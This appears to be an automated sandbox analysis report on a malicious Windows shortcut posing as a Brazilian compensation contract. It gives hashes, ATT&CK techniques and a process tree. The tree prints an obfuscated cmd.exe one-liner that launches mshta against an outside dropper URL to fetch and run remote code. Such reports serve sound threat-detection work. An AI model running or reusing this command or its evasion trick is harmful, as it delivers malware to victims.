279adf44e722cf2523ba11d3f0ef3191cdb14f26f393a30645f3d54baebc086f

Analysis

max time kernel
148s
max time network
155s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 12:43

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General

Target
Contrato_Indeniza_Brasil-7SWHNC.lnk
Size 1KB
Sample260803-pycsmsxhmf
SHA256 279adf44e722cf2523ba11d3f0ef3191cdb14f26f393a30645f3d54baebc086f
MD5 aaee0a451275f6fa4d5b381b46d9e0d5
SHA1 838563c8a85f668bc32d11afc2e01e885456042b
SHA512 1f85378138957527d03cdb43b8c679ed15982be09abb9898f68e713a83a6968ba69d10e71a69613685651d42bb99c77997ae40539daacccb0d1c62b4b4657a9d
TLSH
T189319C002AFD4614F3F78E7649BB6B1199BBFA968E10C60D4090454C1062E00E17AF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

Badlisted process makes network request 7 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4280	mshta.exe
3	4280	mshta.exe
9	4280	mshta.exe
10	4280	mshta.exe
13	4280	mshta.exe
14	4280	mshta.exe
16	4280	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
924	cmd.exe
4484	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 924 wrote to memory of 4484	924	cmd.exe	90
PID 4484 wrote to memory of 4280	4484	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-7SWHNC.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:924
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /C "set qD=msh&&set mRSq=ta&&start "" !qD!!mRSq! https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4484
- - C:\Windows\System32\mshta.exe
    mshta https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D
    3⤵
    - Badlisted process makes network request
    PID:4280

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads